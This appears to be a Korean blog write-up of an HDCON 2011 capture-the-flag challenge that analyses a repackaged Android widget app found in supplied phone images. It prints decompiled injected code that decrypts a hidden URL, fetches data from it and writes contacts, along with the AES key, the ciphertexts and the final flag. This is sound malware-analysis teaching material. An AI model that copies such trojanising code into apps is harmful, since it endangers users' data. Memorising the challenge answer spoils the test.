HDCON 2011 예선 Stage 4 - 안드로이드 악성코드 분석
2011/06/30 08:17
stage 4 문제는 제게 큰 짜릿함을 맛보게 해준 문제입니다. 대회 첫 째날이 종료되기 몇 시간 전부터 보기 시작했는데 밤 새고 대회 둘 째날이 종료되기 27분 전에야 패스워드를 인증했기 때문이죠. 중간에 잠시 눈 붙인 몇 시간을 제외하면 꼬박 24시간을 이 문제에 붙었었는데, 포기하지 않고 끝까지 보니까 결국 풀리더군요. 그 때의 짜릿함은 정말 엄청났습니다.
그리고 미리 말씀드리자면 이 풀이는 정말 깁니다.
Qusetion
4번 문제 : 안드로메다 소녀 '안드로'는 최근 스마트폰에 각종 Application을 설치하여 사용하는 재미에 빠져있다. 그런데 어느 순간부터 스마트폰이 이상하다는 느낌이 들기 시작했다. 여기 '안드로' 소녀의 스마트폰 이미지가 있다. 아래 이미지를 분석하여 '안드로' 소녀의 스마트폰의 문제를 찾아라.
정답은 악성코드가 사용하는 정보의 조합이다. 정보가 여러 개라면 긴 문자열 순으로 나열하고 정보와 정보사이는 '_' 로 연결하라.
예) XXXXXXX 와 YYY 와 Z 라면 정답은 XXXXXXX_YYY_Z 이다.
ID: stage4 , PASSWORD: 획득한 패스워드
Analysis
주어진 압축 파일을 해제하면 cache.img, sdcard.img, userdata.img, userdata-qemu.img 이렇게 네 개의 파일이 있습니다. 이 파일들은 안드로이드 폰의 이미지 파일입니다. sdcard.img는 FAT32 포맷이고, 나머지 세 개는 VMS 포맷입니다.이번 문제는 안드로이드의 이미지 파일에서 악성코드를 찾아내어 분석하는 것이네요.
Solution
악성코드를 찾기 위해서 우선 이미지 파일들을 안드로이드 에뮬레이터로 읽어들여야 합니다. 안드로이드 SDK와 ADT 플러그인을 설치한 후, AVD를 생성합니다1. 이런 과정을 모두 설명하려면 너무 길어지기 때문에 주석을 참고하는 게 좋을 것 같네요. 에뮬레이터가 정상적으로 실행되면 생성된 avd 디렉토리에 네 개의 이미지 파일들을 집어넣고, AVD 편집 메뉴에서 SDCard의 경로를 수정합니다. 이렇게 하여 다시 AVD를 에뮬레이터로 실행하면 "안드로" 소녀의 스마트폰 환경이 재현되지요.
문제에서 설명대로라면 각종 앱들을 설치하다가 어느 순간부터 이상하다는 느낌을 받았다고 합니다. 그렇다면 "안드로" 소녀가 어떤 앱들을 설치했는지 확인해야겠지요. 다음 순서대로 따라간 후, Downloaded 목록을 확인합니다.
MENU -> Settings -> Applications -> Manage applications -> Downloaded
Downloaded 목록에는 사용자가 다운로드하여 설치한 앱들이 나옵니다. "안드로" 소녀의 폰에는 9개의 사용자 앱이 설치되어 있습니다.

이 9개의 앱들 중에서 어떤 게 악성코드인지를 찾아야 합니다. 찾기 이전에 알아두어야 할 게 있습니다. 최근의 안드로이드 악성코드에 대한 이슈는 리패키징(Repackaging)입니다. 안드로이드 Dalvik이 Java 기반이기 때문에 패키지 파일은 디컴파일이 가능합니다. 이런 성격을 이용하여 공격자는 정상적인 앱을 디컴파일하여 공격 코드를 삽입한 후에 다시 패키징하여 배포하는 게 최근의 경향입니다. 아마 "안드로" 소녀도 공격자가 재배포한 악성 앱을 다운로드하여 설치했을 가능성이 크겠지요.
이제 "안드로" 소녀가 설치한 9개의 앱들의 apk 파일들을 모두 추출할 차례입니다. 설치된 앱의 apk 파일의 경로를 알기 위해서는 다음의 순서대로 찾아갑니다.
앱 목록 -> Dev Tools -> Package Browser -> 앱 선택
apk 파일의 경로를 확인하였으면 adb의 pull 명령을 이용하여 apk 파일들을 추출2합니다.

추출한 앱이 악성코드인지, 즉 다시 말해서 리패키징된 앱인지를 알기 위해서는 원본 apk 파일과 diff 툴로 비교하거나 md5 값을 구하여 비교합니다. 앞서 apk 파일의 경로를 확인하기 위하여 이용하였던 Package Browser에는 앱의 버전 정보도 나와 있습니다. 마켓이나 인터넷에서 동일 버전의 원본 apk 파일을 구하여 "안드로" 소녀의 폰에서 추출한 apk 파일과 비교하는 것이죠.
apk 파일 자체를 비교하여도 되고, apk 파일 내부의 classes.dex와 lib 아래의 so 파일들을 직접 비교하여도 됩니다. 추출한 앱이 악성코드가 아니라면, 동일 버전의 원본 앱과 diff 결과나 md5 값이 동일하죠. 그러나 diff 결과와 md5 값이 다르면 일단 리패킹징이 되었다고 의심해봐야 합니다.
9개의 앱 중에서 동일 버전의 원본 앱과 다른 앱은 TxWidgets 하나입니다. 다른 8개는 모두 원본과 동일하였습니다. TxWidgets가 리패키징이 되었다면, 앱을 구성하는 class들 중에서 다른 부분이 있을 것입니다. 그렇기 때문에 dex2jar3로 tmi.li.txwidgets-1.apk 안의 classes.dex를 jar로 변환한 후 압축을 풀어서 class 파일들을 추출합니다. 그리고 마찬가지로 동일 버전의 TxWidgets 원본의 class 파일들과 비교를 하는 것이죠.
추출한 TxWidgets의 class들과 원본 TxWidgets의 class들 간의 diff 결과는 아래와 같습니다.
Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class differ
Only in tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck: TxClckProvider$TxClckZ.class
Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class differ결과를 보면, TxBtryProvider.class와 TxClckProvider.class가 다르고 TxClckProvider 클래스 내에 TxClckZ가 추가되었음을 알 수 있습니다.
어떤 클래스가 다른지를 알았으니 JAD4나 JD-GUI5와 같은 Java 디컴파일 툴로 해당 class 파일들을 디컴파일합니다. 정확히 class 내의 어떤 소스코드가 다른지 알려면 JAD로 디컴파일하여 나온 jad 파일을 원본을 디컴파일한 jad 파일과 diff 툴로 비교하는 게 조금 더 편합니다.

TxBtryProvider는 거의 차이가 없습니다. 아주 미묘하죠. 실제로 악성코드가 심어진 클래스는 TxClckProvider입니다. TxClckZ 내부클래스가 추가되었고, getDetail, getDetailInfo 메소드가 추가되었고, updateWidget 메소드에서는 다음과 같은 코드도 추가되었습니다.
String str2 = TxClckZ.decrypt("TxWthrUpdate", "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889");
localObject = str2;
getDetail(paramContext, (String)localObject);분석을 해보면 TxWidgets의 시계 위젯이 업데이트될 때 updateWidget 메소드가 호출되고 위 코드가 실행되는 것이죠. TxClckZ 클래스는 AES 암복호화 클래스입니다. TxClckZ.decrypt 메소드는 AES 복호화를 위한 Key와 복호화할 Cipher를 인자로 받습니다. 그리고 복호화한 문자열을 getDetail 메소드에 인자로 넣죠.
아래는 getDetail 메소드의 코드입니다. 인자로 받은 문자열을 URL 주소로 하여 HTTP 통신을 하고 웹페이지의 어떠한 문자열을 버퍼로 담아 getDetailInfo 메소드를 호출합니다.
public static void getDetail(Context paramContext, String paramString)
{
try
{
ContentResolver localContentResolver = paramContext.getContentResolver();
Uri localUri = ContactsContract.Contacts.CONTENT_URI;
if (localContentResolver.query(localUri, null, null, null, null).getCount() < 23);
while (true)
{
if (isFirst)
{
DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
HttpGet localHttpGet = new HttpGet(paramString);
HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);
if (localHttpResponse.getStatusLine().getStatusCode() != 200)
continue;
InputStream localInputStream = localHttpResponse.getEntity().getContent();
InputStreamReader localInputStreamReader = new InputStreamReader(localInputStream);
String str = new BufferedReader(localInputStreamReader).readLine();
if (!isFirst)
continue;
getDetailInfo(paramContext, str);
continue;
}
}
}
catch (Exception localException)
{
return;
}
}아래는 getDetailInfo 메소드의 코드입니다. getDetail 메소드에서 얻은 문자열을 TxClckZ.decrypt 메소드로 다시 복호화합니다. 복호화한 문자열은 파싱되어서 연락처와 이메일 주소 DB에 등록됩니다.
public static void getDetailInfo(Context paramContext, String paramString)
{
Object localObject = (String[])0;
try
{
String[] arrayOfString = TxClckZ.decrypt("TxWthrUpdate", paramString).split("[,]");
localObject = arrayOfString;
label19:
String str1 = localObject[0];
String str2 = localObject[1];
try
{
ContentResolver localContentResolver = paramContext.getContentResolver();
ContentValues localContentValues = new ContentValues();
Integer localInteger1 = Integer.valueOf(0);
localContentValues.put("contact_id", localInteger1);
Integer localInteger2 = Integer.valueOf(3);
localContentValues.put("aggregation_mode", localInteger2);
Uri localUri1 = ContactsContract.RawContacts.CONTENT_URI;
long l = ContentUris.parseId(localContentResolver.insert(localUri1, localContentValues));
localContentValues.clear();
Long localLong1 = Long.valueOf(l);
localContentValues.put("raw_contact_id", localLong1);
localContentValues.put("mimetype", "vnd.android.cursor.item/phone_v2");
Integer localInteger3 = Integer.valueOf(2);
localContentValues.put("data2", localInteger3);
localContentValues.put("data1", str1);
Uri localUri2 = ContactsContract.Data.CONTENT_URI;
Uri localUri3 = localContentResolver.insert(localUri2, localContentValues);
localContentValues.clear();
Long localLong2 = Long.valueOf(l);
localContentValues.put("raw_contact_id", localLong2);
localContentValues.put("mimetype", "vnd.android.cursor.item/email_v2");
Integer localInteger4 = Integer.valueOf(4);
localContentValues.put("data2", localInteger4);
localContentValues.put("data1", str2);
Uri localUri4 = ContactsContract.Data.CONTENT_URI;
Uri localUri5 = localContentResolver.insert(localUri4, localContentValues);
isFirst = 0;
return;
}
catch (Exception localException1)
{
return;
}
}
catch (Exception localException2)
{
break label19;
}
}예, 확실히 TxWidgets가 악성코드임을 알 수 있습니다. 그런데 이 악성코드가 정확히 어떤 정보를 사용하는지를 알려면 AES로 암호화된 Cipher을 복호화해야 합니다. key와 Cipher를 다시 정리하면 아래와 같습니다.
Key = "TxWthrUpdate"
Cipher = "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889"이 악성코드에서 사용된 AES 암복호화 코드는 추가된 TxClckZ 클래스에 구현되어 있습니다. 이 코드는 실제로 안드로이드 앱에서 많이 사용되는 AES 암복호화 코드6입니다. 그리고 최근에 이슈가 된 DroidKungFu에서도 이 코드가 사용된 것으로 알려져 있죠.
저 Key로 Cipher를 복호화하면 악성코드가 어떤 정보를 사용했는지 알 수 있을텐데요. 그런데 AES 암복호화 코드를 그대로 이용하여 Java로 작성하여 실행하면 패딩이 맞지 않다는 오류가 출력되면서 복호화가 되지 않습니다. 제가 이 부분에서 근 하루를 허비했죠.
조금만 생각해보면 간단합니다. 실제로 안드로이드 앱에서 사용되는 코드이고, DroidKungFu도 사용한 코드입니다. 분명히 정상적으로 실행되는 코드라는 것이죠. 그런데 Java로 구현하여 실행하면 오류가 발생합니다. 이 얘기는 PC의 Java JVM과 안드로이드의 Dalvik JVM이 차이가 있다는 얘기지요.
그러므로 AES 암복호화 코드를 이용하여 Cipher를 복호화하는 프로그램을 안드로이드 앱으로 작성하면 정상적으로 실행될 것입니다. 직접 앱을 만들어도 되고, 예제로 있는 SimpleCryptoExample7를 수정하여도 됩니다. 저는 예제 앱을 수정하였습니다.

역시 처음 분석한 대로 URL 주소가 복호화되었습니다. 저 주소로 접속하면 다음과 같은 문자열을 얻을 수 있습니다. 역시 AES Cipher이죠.
Cipher = "517A4D557F2B4FE775340A84D9E9B5A3DA4E56E9A3E2687995F92EC7B3805A064E90239F20FE04FA64DF842DFDC9FCDB"이번에도 안드로이드 앱을 수정하여 동일한 Key로 복호화합니다. 그러면 악성코드가 DB에 등록할 연락처 번호와 이메일 주소를 얻을 수 있습니다.

그래서 패스워드는? "4ndr0M4l@k1s4.xyz.123_62922741337" 입니다.
주석.
- 안드로이드 개발환경 설치하기 :: http://underclub.tistory.com/242
- Android Debug Bridge :: http://developer.android.com/guide/dev ··· adb.html
- dex2jar :: http://code.google.com/p/dex2jar/
- JAD :: http://www.varaneckas.com/jad
- JD-GUI :: http://java.decompiler.free.fr/?q=jdgui
- Encrypt/Decrypt Strings :: http://www.androidsnippets.com/encryptdecrypt-strings
- SimpleCryptoExample :: http://theeye.pe.kr/entry/simple-aes-based-encryption-util-for-java-and-android
"0x06 Other RCE" 분류의 다른 글
| HDCON 2011 예선 Stage 1 - 아이폰 위치 추적 | 2011/06/28 |
| [KUCIS Project] 취약점을 찾기 위한 fuzzing 기술의 구현 | 2010/11/07 |
| smpCTF 2010 Challenge 5 Writeup - 포렌식 기초 | 2010/07/17 |
Trackback Address:http://hisjournal.net/blog/trackback/361
상세하고 깔끔한 문서네요.
좋은 문서 잘 보고 갑니다.
고맙습니다
감사히 잘 보고 갑니다
고맙습니다
잘보고 갑니다, 좋은풀이 감사합니다!
고맙습니다
부지런한 녀석 요런 문제였구만.ㅎㅎㅎ
히히 ^___^
훌륭합니다 ;)
고맙습니다
우와..정말 대단하시네요 ㅎㅎ
감사히 잘보고갑니다!
아무리 생각해도 자바는 그 효율성만큼 악용되기도 쉬운것같아서 참 아쉽네요 ㅠㅠ
고맙습니다 (_ _)